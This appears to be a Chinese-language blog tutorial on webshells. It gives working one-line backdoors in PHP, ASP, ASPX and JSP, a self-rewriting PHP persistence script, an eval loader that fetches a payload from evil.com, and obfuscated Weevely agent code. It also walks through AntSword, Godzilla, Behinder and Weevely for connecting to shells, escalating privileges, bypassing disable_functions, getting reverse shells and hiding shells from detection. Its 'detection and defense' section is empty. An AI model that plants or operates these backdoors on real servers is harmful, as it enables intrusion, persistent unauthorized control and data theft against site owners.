总字符数: 31.50K

代码: 15.47K, 文本: 8.27K

预计阅读时间: 1.72 小时

简介

WebShell是一种以网页文件的形式存在的代码执行环境,它可以被称为网页后门.Web表示需要服务器提供Web服务,而Shell表示获取对服务器某种程度上的操作权限.

通常情况下,黑客在入侵一个网站后,会将ASPPHP后门文件混合在正常的网页文件中,然后可以通过浏览器访问这些后门文件,获得一个命令执行的环境,以达到控制网站服务器的目的.具体步骤如下:

  1. 入侵网站
  2. ASPPHP等后门文件混合在正常的网页文件中
  3. 通过网页访问后门文件
  4. 获得命令执行的环境
  5. 控制网站服务器

Shell文件可以接收来自服务器的数据并执行相应的命令,返回结果.也就是说,只要将Shell文件上传到目标服务器,就可以操控服务器了.

不法分子利用WebShell可以在Web服务器上执行系统命令、窃取数据、植入病毒、盗取核心数据、进行SEO挂马等恶意操作,造成严重的危害.

对于网站管理员来说,Shell文件也可以用于网站管理、服务器管理、数据库管理等.根据文件系统对象(FSO)权限的不同,其功能包括在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等.

WebShell特点

当黑客使用WebShell时,他们通常会将其上传到可以访问的服务器中.

例如利用用户CMS系统的第三方插件中的漏洞上传一个简单的php WebShell.

WebShell的类型和作用各不相同,有一些简单的WebShell只起到连接外界的作用,允许黑客插入更加精准的恶意脚本,执行他们所需要的指令.

另外一些WebShell可能更加复杂,带有数据库或文件浏览器,让黑客能够从遥远的地方查看入侵系统的代码和数据.无论设计如何,WebShell都是网络罪犯和高级持续威胁(APT)经常使用的工具.

WebShell的常见攻击特点主要包括以下几点:

  1. 持久化远程访问:WebShell脚本通常包含后门,黑客上传WebShell后,可以利用其中的后门实现远程访问和控制服务器,从而长期控制网站服务器.此外,黑客会修复漏洞,以确保其他人不能利用该漏洞.通过这种方式,黑客可以低调地操作,避免与管理员进行交互,并获得相同的结果.
  2. 提权:在服务器没有配置错误的情况下,WebShellWeb服务器的用户权限下运行,而用户权限是有限的.通过WebShell,黑客可以利用系统上的本地漏洞来提升权限,从而获得Root权限,基本上可以在系统上做任何事情,包括安装软件、更改权限、添加和删除用户、窃取密码、阅读电子邮件等等.
  3. 隐蔽性极强:WebShell可以嵌套在正常网页中运行,不容易被查杀.它还可以穿越服务器防火墙,因为与被控制的服务器或远程主机交互的数据都是通过80端口传输,所以不会被防火墙拦截.在没有记录流量的情况下,WebShell使用POST请求发送数据,也不会在系统日志中留下明显的痕迹,只会在Web日志中记录一些数据提交的记录.
  4. 操作与正常网页相似:WebShell通常通过命令交互界面进行操作,但它的操作方式可以模仿正常网页的表单提交、数据库查询等常见操作,使其不易被怀疑.黑客可以利用WebShell执行各种命令、浏览文件和数据库等,而这些操作与合法用户的正常行为类似

综上所述,WebShell具有嵌套在正常网页中、穿越服务器防火墙以及操作类似正常网页的特点,使其在黑客攻击中具有极高的隐蔽性.这也增加了检测和防御的难度,提高了WebShell对网络安全的威胁.

WebShell分类

WebShell根据脚本类型可以分为PHP脚本木马、ASP脚本木马、JSP脚本木马,还有基于.NET的脚本木马.随着时代和技术的变迁,还出现了使用PythonLua编写的脚本木马,常见的几种分类包括:

  1. 大马
    • 体积较大,功能全面
    • 可调用系统关键函数
    • 使用代码加密进行隐藏
  2. 小马
    • 体积较小,功能简单
    • 一般只具备上传功能,用于上传大马
  3. 一句话木马
    • 代码简短
    • 可单独生成文件,也可插入文件
    • 安全性高,隐藏性强,可变形免杀
    • 采用固定框架,执行数据操作和传递数据
    • 可使用中国蚁剑等客户端管理WebShell,省去命令行和参数配置,提供图形化操作界面
  4. 打包马
    • 主要用于打包网站源代码
  5. 拖库马
    • 主要用于导出网站数据库
  6. 内存马
    • 无文件落地,难以检测和发现
    • 难以清除,具有持久性

原理

WebShell的恶意性表现在它的实现功能上,是一段带有恶意目的的正常脚本代码.

PHP一句话木马核心步骤如下:

  1. 数据传递
    • 通过超全局变量获取数据:$_GET$_POST$_COOKIES$_REQUEST$_FILE$_SERVER
    • 从远程URL中获取数据:使用函数如file_get_contentscurlsvn_checkout等来获取远程URL中的数据,将需要执行的指令数据放在URL中通过URL包含进行读取.
    • 从本地磁盘文件中获取数据:使用函数如filefile_get_contents等来读取本地磁盘文件中的数据,将需要执行的指令数据放在文件中利用IO函数读取.
    • 从数据库中读取:将需要执行的指令放在数据库中,利用数据库操作函数来读取.
    • 从图片头部中获取:使用函数如exif_read_data来获取图片头部中的数据,将需要执行的指令数据放在图片头部中利用图片操作函数读取.
  2. 代码执行
    • 将用户传输的数据进行执行.
    • 代码执行函数:evalassertsystem等函数进行代码执行(最常见的方式).
    • LFI(本地文件包含):使用includerequire等函数将文件包含转化为代码执行.
    • 动态函数执行:利用PHP的动态函数特性(如$())进行代码执行.
    • Curly Syntax:使用${${...}}等语法进行代码执行,将变量赋值的漏洞转化为代码执行的机会.

下面是一个示例,用于从远程URL中获取数据并执行:

1
2
3
4
<?php
$url = 'http://evil.com/evil_payload.txt'; // 远程URL
$data = file_get_contents($url); // 获取远程URL中的数据
eval($data); // 执行获取到的数据

常见一句话木马

php

1
<?php @eval($_POST['value']); ?>
1
<?php assert($_POST[value]);?>
1
2
3
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>

asp

1
<%eval request ("value")%>
1
<% execute(request("value")) %>

aspx

1
<%@ Page Language="Jscript" %><% eval(Request.Item["value"]) %>

jsp

1
2
3
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

内存马

WebShell内存马是一种常用的无文件攻击手段,它将恶意后门和木马写入内存并执行,以实现对Web服务器的远程控制.随着攻防演练的热度不断上升,攻击和防守之间的博弈日益激烈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的基于文件的WebShell或以文件形式驻留的后门越来越容易被检测到,因此内存马的使用越来越普遍.

PHP内存马是一种常见的内存马类型,在线下AWD比赛中经常被使用.在蚁剑等工具中也提供了专门的插件来实现一键注入内存马.其原理相对简单,利用PHP的特性通过反复写入一个木马代码片段来实现无法删除的目的.

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true); // 忽略用户中止请求,确保脚本继续执行
set_time_limit(0); // 设置脚本执行时间为无限制,避免因超时而中断
unlink(__FILE__); // 删除当前脚本文件,确保脚本只执行一次

$file = 'Shell.php'; // 定义要写入的文件名,这里是Shell.php
$code = '<?php @eval($_POST["cmd"]);?>'; // 定义要写入文件的恶意代码,用于远程执行命令

while(1){ // 进入无限循环
file_put_contents($file, $code); // 将恶意代码写入文件
usleep(5000); // 程序休眠5000微秒,让循环间隔一定时间
}

这段代码会创建一个名为Shell.php的文件,并将恶意代码写入其中.通过设置忽略用户中止、无限制的执行时间和在每次循环中删除当前文件来达到持久化的效果.然而实际上,这种方法仍然会有文件落地,只是管理员难以删除或删除不完全而已.

更具有代表性的是Java内存马.它是一种常见的无文件攻击手段,在目标系统的内存中直接加载并执行恶意代码,从而控制目标系统.相比于传统的基于文件的WebShell或以文件形式驻留的后门,Java内存马更加隐蔽,很难被安全设备和防御措施检测到.

WebShell管理工具的使用

蚁剑(AntSword)

蚁剑的下载

蚁剑本体

1
2
https://github.com/AntSwordProject/antSword
https://gitee.com/AntSwordProject/antSword

蚁剑加载器

1
2
https://github.com/AntSwordProject/AntSword-Loader
https://gitee.com/AntSwordProject/AntSword-Loader

蚁剑的安装

蚁剑从v2.0.0-beta版本开始引入了加载器这个概念,需要下载对应平台的加载器运行当前的开发板和发行版源代码.

打开加载器->点击初始化,选择蚁剑源代码目录antSword-2.1.14/目录

注意:!目录所在的路径不要有中文!
可以如D:\AntSword-Loader-v4.0.3-win32-x64

不能如D:\工具\AntSword-Loader-v4.0.3-win32-x64这样含有中文

初始化完成后再次打开蚁剑加载器 AntSword.exe 即可使用

蚁剑界面

点击AntSword菜单内有关于程序语言设置代理设置显示设置等基础功能

编码设置可创建编码器,在页面编辑处粘贴代码点击保存,这样在添加Shell或者编辑Shell配置时,就可以选择==编码器/解码器==了.

插件市场可添加开发者提供的多功能插件

蚁剑(AntSword)的使用

代理设置

点击AntSword->代理设置,可设置代理

添加Shell

界面右键添加数据

插件

点击AntSowrd->插件市场设置中心->设置中文

自行在远程仓库下载插件即可,插件在主页处右键选择使用

哥斯拉(Godzilla)

介绍

哥斯拉(Godzilla)是继菜刀、蚁剑、冰蝎之后出现的一款优秀的WebShell管理工具,由JAVA语言开发,特点有:

  • 全部类型的Shell能绕过市面大部分的静态查杀
  • 流量加密能绕过市面绝大部分的流量Waf
  • Godzilla自带的插件非常强大,具有内网渗透能力

地址:

1
https://github.com/BeichenDream/Godzilla

运行环境

1
2
3
4
1. JavaDynamicPayload -> java1.0及以上
2. CShapDynamicPayload -> .net2.0及以上
3. PhpDynamicPayload -> 4.3.0及以上
4. AspDynamicPayload -> 全版本

使用

打开哥斯拉前需安装JDK1.8以上环境,之后双击Godzilla.jar打开,然后会在同目录下生成data.db数据库存放数据

生成WebShell

点击管理->生成生成所需的WebShell,哥斯拉支持JSPPHPAspx等多种载荷,JAVAC#的载荷原生实现AES加密,PHP使用或加密.生成时需要记住自己的生成配置用以链接时用.

如下,有效载荷有ASPJAVAPHPC#(CShap)几种,加密器有Base64RAWXOR_Base64几种

连接WebShell

上述操作生成一个文件,上传到目标服务器,点击目标,设置基础配置连接该WebShell,配置需要与生成的WebShell一致.

添加后右键进入即可进入Shell管理界面

设置代理

连接WebShell时可选择代理,可以设置HTTP代理Burpsuite联动,把哥斯拉流量发送到Burpsuite

请求配置

添加目标时,点击请求配置,可修改协议头(包含UAAcceptAccept-Language三个弱特征),哥斯拉默认的这三项和正常的浏览器有部分差异(UA中含有Godzilla关键字),属于弱特征,可根据自身需求修改,如这里将UA修改成浏览器使用的UA

配置信息

点击会有两个配置:程序配置插件配置

其中插件配置可添加和移除本地第三方哥斯拉插件

程序配置则可自行修改部分特征,全局协议头就是一个弱特征,全局代理可设置HTTPSOCKS代理,这里可以与Burpsuite与联动

全局协议头

请求配置中为单条设置,此处为全局设置,修改完点击修改按钮

全局代理

设置代理中为单条设置,此处为全局设置

字体设置

修改字体格式和大小,你好Hello为修改后的字体与大小,重启程序后生效

核心配置

上帝模式开启会使文件管理复杂化,经测试不开启会导致删除文件、新建文件夹、执行等操作出现问题

大文件配置

可设置重试次数和单次上传、下载文件大小,字节单位为k,1M=1000000K,若上传或下载的文件较大可自行设置所需大小.

PHP

基础信息

哥斯拉特性是会根据语言的不同显示不同的功能界面,以PHPWebShell为例,基础信息中含有该主机的系统及版本、当前用户、外连IP与端口、网站根目录、PHP版本等信息

Linux主机比Windows多一个PPs模块,功能为查看进程可能因docker的问题并没有获取到进程

命令执行

默认调用的cmd窗口,cmd /c "{command}" 2>&1,若为Linux主机则为/bin/bash

文件管理

同其他WebShell工具类似,直接拖动文件放进去即可上传,选择文件或文件夹点击右键,可选择上传、下载、查看属性、新建文件、新建文件夹、编辑器打开、查看属性等操作

哥斯拉的文件管理创新点在于远程下载、执行、大文件上传、大文件下载几块内容,许多WebShell管理工具不支持大文件的上传和下载,安全人员只能通过文件分割方式分块上传;另外,哥斯拉支持直接执行文件,而不必再在命令窗口中输入命令执行.

可直接编辑文件,并可选择编码类型进行保存

选择文件属性,可对文件路径、文件权限、文件修改时间进行修改,用于隐藏文件

数据库管理

在数据库管理中哥斯拉会先从容器中加载可用的jdbc,如果没有就通过内存加载jar驱动来链接数据库

点击右下角DbinfoConfig配置服务器信息,注意点是要填写127.0.0.1,因为此时我们正在该服务器上使用服务,填写该服务器IP如192.168.0.123的话,若该服务器不允许远程登录MySQL则会失败

之后点击左侧列表或使用下方Exec SQl都可操作数据库

网络详情

相当于在目标机上使用netstat -an查看网络连接情况,如正在监听的端口、外连等

Zip

将目标文件夹压缩为压缩文件,或将压缩文件进行解压

设置目标文件夹再设置压缩后的名称即可压缩文件,设置压缩文件再设置解压的目标文件夹即可解压.

PSuperServer

该模块作者GitHub没有说明,经过摸索发现为ntunnel隧道

该模块应该是一个Navicatntunnel_mysql.php的集成模块,将Navicat目录下的ntunnel_mysql.php上传到目标服务器

然后Navicat新建连接,常规中照常设置,注意点为主机地址需设置为127.0.0.1

在HTTP中勾选如下两个选项,然后输入ntunnel_mysql.php的地址,这里要选择base64编码,否则容易被防护软件拦截.

PWebShellScan

根据常见特征扫描指定文件夹下有无WebShell,并且尝试获取WebShell密码,设置好目标目录后,点击scan按钮即可扫描,经测试,无法扫描到如冰蝎木马的加密WebShell

PMeterpreter

msfconsole

MSF设置监听0.0.0.0:4444

填写MSF服务器的IPMSF监听的端口,点击Go发现Meterpreter上线

BypassOpenBasedir

模块功能为绕过Open_basedir限制,Open_basedirphp.ini中的一个配置选项,将用户访问文件的活动范围限制在指定的区域.

PAttackFPM

该模块专门攻击php-fpm,php-fpmFastCGI进程管理器,它包含一个高级处理功能,可以启动任何任务,然后关闭该任务,且过程中不会有任何阻碍.

php.ini中的disable_functions配置禁用了putenv()mail() pcntl_exec()等函数,环境是PHP5.6,导致很多常规Bypass的方法都用不了

PAttackFPM模块可与BypassDisable_functions模块作为组合拳使用,作用是绕过限制执行命令,条件是网站为Linux 操作系统且由Nginx+PHP5.6搭建

1
2
3
Linux操作系统
PHP-FPM
Nginx+PHP5.6
BypassDisableFunctions

模块功能为绕过DisableFunctions,管理员如果设置DisableFunctionsWebShell会无法执行系统命令,该模块提供了一种绕过方式.

使用可见PAttackFPM,其他子模块中

EnvBypass条件:

利用LD_PRELOAD环境变量绕过

1
2
3
4
5
能够上传自己的.so文件

能够控制LD_PRELOAD环境变量的值,比如putenv()函数

因为新进程启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()、imap_mail()、mb_send_mail()和error_log()函数等

AMCBypass条件:

利用Apache_mod_cgi绕过

1
2
3
4
5
Linux 操作系统
Apache + PHP (apache 使用 apache_mod_php)
Apache 开启了cgi、rewrite
Web 目录给了AllowOverride权限
当前目录可写
P_Eval_Code

一个内置代码编译器

PortScan

哥斯拉在对方主机产生一个扫描进程,扫描开放端口,在目标主机发现新增一个端口连接TCP 192.168.0.107:80 192.168.0.111:7031 ESTABLISHED 85848扫描进程名httpd.exe,通过Apache进程完成的扫描,扫描结束后该端口连接断开.

RealCmd

在本地攻击机开放一个端口,将目标主机权限转发给本地攻击机端口

对方如果是Windowsexec file就写cmd,Linux就写/bin/bash

本地攻击机使用nc连接,成功连接到目标主机,攻击机关闭窗口后该连接自动关闭.

1
nc64.exe 127.0.0.1 4444

JSP

JSP的模块和PHP的不太一样,多了Screen(屏幕截图)、Jrealcmd(虚拟终端)、MemoryShell(内存Shell)、ServletManage(Servlet木马管理)、JarLoader(内存加载Jar)、mimikatz(抓取密码)等模块.

RealCmdPortScanJMeterpreterSuperTerminalZipPHP模块用法一致.

基础信息

提供了物理路径、真实IP地址、系统版本、插件目录、JDK版本以及各种配置信息.

MemoryShell

内存Shell模块,在服务器中注册、卸载内存马

可以注册一个哥斯拉的马或者冰蝎、蚁剑的马,甚至是Regeorg,在指定目录下注册生成一个木马文件,然后成功连接该木马;

删除该木马文件时点击unLoadMemoryShell然后输入Shell目录即可

EnumDatabaseConn

该模块会尝试得到数据库的连接驱动、账户与密码

Screen

屏幕截图,Windows上需要高权限(NT SYSTEM).

PetitPotam

PrintSpoofer提权模块,利用SeImpersonatePrivilege(身份验证后模拟客户端)权限来尝试获取SYSTEM权限

ServletManage

作用是管理Servlet,可获取和卸载Servlet,方便管理内存Shell.

Servlet是在服务器上运行的小程序,Servlet虽然被称作”小程序”,但是它的功能却异常强大,因为它是基于Java的,几乎可以使用所有的Java API,Java 能做的事情Servlet也能做.

ShellcodeLoader

memoryPe是内存PE模块,加载PE并注入.

JarLoader

用途为加载jar包,主要是加载jdbc

mimikatz

集成mimikatz,功能为抓密码凭证,现已更名为kiwi,需要较高权限

冰蝎(Benhinder)

安装

相对于菜刀和蚁剑,冰蝎的特点是动态二进制加密实现新型一句话木马,它的数据是加密传输的

冰蝎项目地址:

1
https://github.com/rebeyond/Behinder

所需环境:

1
2
客户端:jre11及以上
服务端:.net 2.0+;php 5.3-7.4;java 6+

文件介绍

1
2
3
4
Behinder.jar		冰蝎客户端,双击即可打开冰蝎
Plugins 插件目录
server文件夹 存放常见语言的WebShell
data.db 数据库文件

新建连接

右键->新增,输入WebShell信息,若使用冰蝎自带的WebShell则默认密码为rebeyond

修改默认密码

冰蝎WebShell默认密码均为 rebeyond ,为32位md5值的前16位,若要修改为Shell,则在MD5网站查询md5值,将32位md5前16位截取下来即可

1
2
2591c98b70119fe624898b1e424b5e91	前16位截取下来
2591c98b70119fe6 Shell

基本信息

冰蝎默认木马会弹出phpinfo信息,可以通过phpinfo收集服务器信息

命令执行

一个终端窗口,调用的是服务器的cmd窗口

虚拟终端

虚拟终端提供一个交互式的真实终端,相当于把服务器侧的Shell给搬到了客户端,在这个Shell里可以执行各种需要交互式的命令,如ssh、mysql,还可以执行python、vim、top等操作

虚拟终端和命令执行不同点在于虚拟终端使用完毕需要点击”停止“按钮来关闭服务器的Shell进程

Linux

可在/bin/bash下使用如SSHMySql,还可以执行PythonVIMTOP等命令

Windows

默认为cmd.exe,启动后若目标服务器为Win7则会在服务器生成一个文件夹(==win10不会生成文件==)

Win10下cmd.exepowerShell.exe均可执行命令,Win7下仅cmd.exe可执行命令.

文件管理

可对文件进行上传、下载、新建、修改时间戳等操作

数据库管理

数据库管理属于常规功能,目前支持SQL ServerMySQLOracle,当服务器环境为Java或者C#时,如果缺少对应的数据库管理库,冰蝎会自动上传并加载对应的库文件.

另外,如果数据库连接密码中有特殊字符(如@符号),用URL编码一下即可(@编码之后为40%)

选择数据库类型后,在连接字符串处修改账户密码,然后点击”连接”按钮,连接成功后即可执行语句

随后直接点击左侧图标即可图形化操作

自定义代码

冰蝎提供asp、c#、php、Java的自定义代码执行功能,文本框支持语法高亮,c#和Java会把输入的源代码自动编译并执行.

备忘录

备忘录模块提供对当前Shell的一些临时文本信息进行存储.直接输入内容即可,冰蝎会自动保存.

注入内存马

冰蝎采用基于Agent技术的Java内存马注入功能,目前支持TomcatWeblogicJboss.其中TomcatJboss对内存马注入路径没有任何限制.

Weblogic的内存马注入路径需要在真实存在的应用名称的路径下,比如http://xxx.com:7001/console/memShell,Console即为应用名称不能直接注入到http://xxx.com:7001/memShell

另外,冰蝎还提供了内存马防检测功能,该功能会阻止其他Agent注入进当前JVM进程.当然注入内存马的时候如果开启该功能,冰蝎后续也无法再次注入内存马

代理

冰蝎提供Sosks5HTTP代理,反弹Shell时利用的就是内置代理功能

Weevely

Weevely是一款开源的WebShell工具,用Python编写,可以在Linux系统上使用.它提供了一种方便的方式来生成和连接WebShell,并以客户端/服务器(C/S)模式构建.Weevely具有很强的隐蔽性,可以用作替代PHP菜刀的工具.

Weevely具有多种功能,包括服务器错误配置审计、后门放置、暴力破解、文件管理、资源搜索、网络代理、命令执行、数据库操作、系统信息收集和端口扫描等.这些功能使它成为一个强大的渗透测试工具,可以用于评估和检测Web应用程序的安全性.

简单使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root㉿kill3r)-[/home/kill3r]
└─# weevely

[+] weevely 4.0.1
[!] Error: the following arguments are required: url, password

[+] Run terminal or command on the target
weevely <URL> <password> [cmd]

[+] Recover an existing session
weevely session <path> [cmd]

[+] Generate new agent
weevely generate <password> <path>

┌──(root㉿kill3r)-[/home/kill3r]
└─# weevely -h
usage: weevely [-h] {terminal,session,generate} ...

positional arguments:
{terminal,session,generate}
terminal Run terminal or command on the target
session Recover an existing session
generate Generate new agent

options:
-h, --help show this help message and exit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kill3r)-[/home/kill3r]
└─# weevely generate kill3r eval.php
Generated 'eval.php' with password 'kill3r' of 771 byte size.

┌──(root㉿kill3r)-[/home/kill3r]
└─# cat eval.php
<?php
$p='$kk"k"="8713ak"bbek""k";$kh="4c1df24e1k"6a8";$kfk"="9f449eb431ffk"";$p="9k"k"dvzq8pk';
$Q='o="";for($i=k"0;$i<$lk";)k"{for($j=0;($j<$c&k"&$i<k"$l);k"$j++,$i+k"+){$o.=$k"t{$i}k"^';
$m='k"(@x(@basek"64_decodk"e(k"$m[1]),$k))k");$o=@ob_gk"et_contk"entk"s();@k"ob_end_k"clea';
$L='UtsMk"tw2M"k";functik"on k"x($t,$k)k"{$c=k"strlen($k"k);$l=k"k"strlen($t);k"k"$k"';
$G='n();k"$r=@bk"ase6k"4_encodek"(@x(@gzk"compresk"s($o),$kk"))k";printk"("$p$khk"$r$kf");}';
$l='$k{k"$jk"};}}k"k"return $o;}k"if k"(@preg_match("/$khk"(.+k"k")$kf/"k",@file_getk"k"_cont';
$U=str_replace('kJ','','crekJakJkJkJte_funckJkJtion');
$x='ents("php:k"//ink"put")k"k",$m)==1) {@ob_stark"k"t()k"k";@evk"al(@gzuncomk"press';
$Y=str_replace('k"','',$p.$L.$Q.$l.$x.$m.$G);
$t=$U('',$Y);$t();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
┌──(root㉿kill3r)-[/home/kill3r]
└─# weevely http://192.168.64.245/dvwa/hackable/uploads/eval.php kill3r

[+] weevely 4.0.1

[+] Target: 192.168.64.245
[+] Session: /root/.weevely/sessions/192.168.64.245/eval_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> :help

:system_procs List running processes.
:system_extensions Collect PHP and webserver extension list.
:system_info Collect system information.
:backdoor_tcp Spawn a Shell on a TCP port.
:backdoor_reversetcp Execute a reverse TCP Shell.
:net_scan TCP Port scan.
:net_curl Perform a curl-like HTTP request.
:net_proxy Run local proxy to pivot HTTP/HTTPS browsing through the target.
:net_phpproxy Install PHP proxy on the target.
:net_ifconfig Get network interfaces addresses.
:net_mail Send mail.
:file_tar Compress or expand tar archives.
:file_bzip2 Compress or expand bzip2 files.
:file_download Download file from remote filesystem.
:file_upload2web Upload file automatically to a web folder and get corresponding URL.
:file_touch Change file timestamp.
:file_upload Upload file to remote filesystem.
:file_find Find files with given names and attributes.
:file_ls List directory content.
:file_read Read remote file from the remote filesystem.
:file_cp Copy single file.
:file_mount Mount remote filesystem using HTTPfs.
:file_check Get attributes and permissions of a file.
:file_gzip Compress or expand gzip files.
:file_grep Print lines matching a pattern in multiple files.
:file_zip Compress or expand zip files.
:file_rm Remove remote file.
:file_webdownload Download an URL.
:file_clearlog Remove string from a file.
:file_edit Edit remote file on a local editor.
:file_cd Change current working directory.
:file_enum Check existence and permissions of a list of paths.
:Shell_php Execute PHP commands.
:Shell_sh Execute Shell commands.
:Shell_su Execute commands with su.
:audit_suidsgid Find files with SUID or SGID flags.
:audit_phpconf Audit PHP configuration.
:audit_disablefunctionbypass Bypass disable_function restrictions with mod_cgi and .htaccess.
:audit_etcpasswd Read /etc/passwd with different techniques.
:audit_filesystem Audit the file system for weak permissions.
:sql_dump Multi dbms mysqldump replacement.
:sql_console Execute SQL query or run console.
:bruteforce_sql Bruteforce SQL database.

The system Shell interpreter is not available in this session, use the
following command replacements to simulate a unrestricted Shell.

ps system_procs
whoami, hostname, pwd, uname system_info
nmap net_scan
curl net_curl
ifconfig net_ifconfig
mail net_mail
tar file_tar
bzip2, bunzip2 file_bzip2
touch file_touch
find file_find
ls, dir file_ls
cat file_read
cp, copy file_cp
gzip, gunzip file_gzip
grep file_grep
zip, unzip file_zip
rm file_rm
wget file_webdownload
vi, vim, emacs, nano, pico, gedit, kwrite file_edit
cd file_cd
ifconfig Shell_su
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
:system_procs                 列出正在运行的进程.
:system_extensions 收集PHP和Web服务器扩展列表.
:system_info 收集系统信息.
:backdoor_tcp 在TCP端口上生成一个Shell.
:backdoor_reversetcp 执行反向TCP Shell.
:net_scan TCP端口扫描.
:net_curl 执行类似于curl的HTTP请求.
:net_proxy 运行本地代理,将HTTP/HTTPS浏览器请求通过目标主机进行中继.
:net_phpproxy 在目标主机上安装PHP代理.
:net_ifconfig 获取网络接口地址.
:net_mail 发送邮件.
:file_tar 压缩或解压tar归档文件.
:file_bzip2 压缩或解压bzip2文件.
:file_download 从远程文件系统下载文件.
:file_upload2web 自动将文件上传到Web目录并获取相应的URL.
:file_touch 更改文件时间戳.
:file_upload 将文件上传到远程文件系统.
:file_find 查找具有给定名称和属性的文件.
:file_ls 列出目录内容.
:file_read 从远程文件系统读取远程文件.
:file_cp 复制单个文件.
:file_mount 使用HTTPfs挂载远程文件系统.
:file_check 获取文件的属性和权限.
:file_gzip 压缩或解压gzip文件.
:file_grep 在多个文件中打印与模式匹配的行.
:file_zip 压缩或解压zip文件.
:file_rm 删除远程文件.
:file_webdownload 下载URL.
:file_clearlog 从文件中删除字符串.
:file_edit 在本地编辑器上编辑远程文件.
:file_cd 更改当前工作目录.
:file_enum 检查路径列表中的存在和权限.
:Shell_php 执行PHP命令.
:Shell_sh 执行Shell命令.
:Shell_su 以su方式执行命令.
:audit_suidsgid 查找具有SUID或SGID标志的文件.
:audit_phpconf 审计PHP配置.
:audit_disablefunctionbypass 使用mod_cgi和.htaccess绕过disable_function限制.
:audit_etcpasswd 使用不同的技术读取/etc/passwd.
:audit_filesystem 对弱权限进行文件系统审计.
:sql_dump 多个dbms mysqldump替代.
:sql_console 执行SQL查询或运行控制台.
:bruteforce_sql 暴力破解SQL数据库.

在此会话中,系统Shell解释器不可用,请使用以下命令替代来模拟无限制的Shell使用.

ps system_procs
whoami, hostname, pwd, uname system_info
nmap net_scan
curl net_curl
ifconfig net_ifconfig
mail net_mail
tar file_tar
bzip2, bunzip2 file_bzip2
touch file_touch
find file_find
ls, dir file_ls
cat file_read
cp, copy file_cp
gzip, gunzip file_gzip
grep file_grep
zip, unzip file_zip
rm file_rm
wget file_webdownload
vi, vim, emacs, nano, pico, gedit, kwrite file_edit
cd file_cd
ifconfig shell_su
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
weevely> :system_info
+--------------------+------------------------------------------------------------------------------+
| document_root | D:/phpstudy_pro/WWW |
| whoami | |
| hostname | DESKTOP-B6O1S2Q |
| pwd | D:\phpstudy_pro\WWW\dvwa\hackable\uploads |
| open_basedir | |
| safe_mode | False |
| script | /dvwa/hackable/uploads/eval.php |
| script_folder | D:\phpstudy_pro\WWW\dvwa\hackable\uploads |
| uname | Windows NT DESKTOP-B6O1S2Q 6.2 build 9200 (Windows 8 Business Edition) AMD64 |
| os | Windows NT |
| client_ip | 192.168.64.215 |
| max_execution_time | 300 |
| php_self | /dvwa/hackable/uploads/eval.php |
| dir_sep | \ |
| php_version | 5.5.9 |
+--------------------+------------------------------------------------------------------------------+
DESKTOP-B6O1S2Q:D:\phpstudy_pro\WWW\dvwa\hackable\uploads $ file_ls
.
..
dvwa_email.png
eval.php

WebShells

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(root㉿kill3r)-[/usr/share/webshells]
└─# webshells

> webshells ~ Collection of webshells

/usr/share/WebShells
├── asp
├── aspx
├── cfm
├── jsp
├── laudanum -> /usr/share/laudanum
├── perl
└── php

┌──(root㉿kill3r)-[/usr/share/webshells]
└─# tree /usr/share/webshells
/usr/share/webshells
├── asp
│ ├── cmd-asp-5.1.asp
│ └── cmdasp.asp
├── aspx
│ └── cmdasp.aspx
├── cfm
│ └── cfexec.cfm
├── jsp
│ ├── cmdjsp.jsp
│ └── jsp-reverse.jsp
├── laudanum -> /usr/share/laudanum
├── perl
│ ├── perlcmd.cgi
│ └── perl-reverse-shell.pl
└── php
├── findsocket
│ ├── findsock.c
│ └── php-findsock-shell.php
├── php-backdoor.php
├── php-reverse-shell.php
├── qsd-php-backdoor.php
└── simple-backdoor.php

9 directories, 14 files

WebShell隐藏

  1. 隐藏到日志:

    • 修改发送数据包的头部,添加WebShell.Web服务器通常会保存访问记录到Web日志中.如果攻击者能够找到并将Web日志放置在可执行目录下,可能会获得对服务器的控制权.
  2. 隐藏到合法文件:

    • 在文件上传漏洞中,将含有PHP代码的文件伪装成.jpg文件.可以使用@运算符来避免出现任何错误,以增加伪装的成功率.
  3. 混淆:

    • 删除空格、换行符等字符,使代码文件看起来比较混乱,从而隐藏恶意函数名等关键信息.

    • 使用编码或加密技术对恶意代码进行处理,使其更难以被人识别和分析.

  4. 站马分离:

    • 文件分割:将恶意代码分割成多个文件,使其在文件系统中分散存储.这样做可以避免一次性检测和删除所有相关文件,增加了防御的复杂性.

    • 数据注入:将恶意代码注入到合法文件或数据中,比如图片、文档或数据库中.这样做可以使恶意代码混杂在正常的数据中,降低被检测的概率.

    • 加密/压缩:使用加密算法或压缩技术对恶意代码进行处理,使其变得无法读取或分析.攻击者可以使用自定义的解密或解压缩过程来还原恶意代码,使其在被执行前难以被检测.

    • 动态加载:将恶意代码以库、插件或模块的形式动态加载到受害系统中.这种技术使恶意代码不会一直存在于磁盘上,减少了被杀软件扫描和检测的可能性.

  5. 内存马:

    1. 它不像传统的Web Shell一样将恶意代码写入磁盘文件中,而是将代码直接加载到服务器的内存中运行。

检测与防御

